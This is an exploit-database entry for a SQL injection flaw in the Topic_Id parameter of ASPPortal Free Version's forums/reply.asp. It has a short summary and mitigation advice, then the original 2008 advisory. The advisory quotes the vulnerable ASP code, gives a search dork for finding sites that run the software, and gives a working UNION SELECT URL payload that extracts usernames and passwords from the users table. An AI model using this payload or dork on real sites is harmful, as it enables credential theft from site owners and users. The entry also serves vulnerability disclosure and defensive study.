ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

vendor:

ASPPortal Free Version

by:

JosS

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: ASPPortal Free Version

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

ASPPortal Free Version is vulnerable to a Remote SQL Injection vulnerability. This vulnerability exists in the ‘/content/forums/reply.asp’ file, where the ‘Topic_Id’ parameter is not properly sanitized before being used in an SQL query. An attacker can exploit this vulnerability by sending a malicious SQL query to the vulnerable parameter. This can allow the attacker to gain access to sensitive information from the database, such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+         ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability       +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by  www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

    // -------------------------------------- //

line 2:    <%
	Dim TopicID
	Dim ForumID
	
	TopicID = Server.HTMLEncode(request("Topic_id"))
	ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<% 
'sub db_select_detail_Disc_Topics
	sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""
                      
	'response.write sql	
	
	set rs = cn.Execute(sql)

line 21:		TopicId = rs("Topic_Id")

    // -------------------------------------- //

[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users


[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_know; shh-32; nettoxic; phnx; murder; and more...

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-10]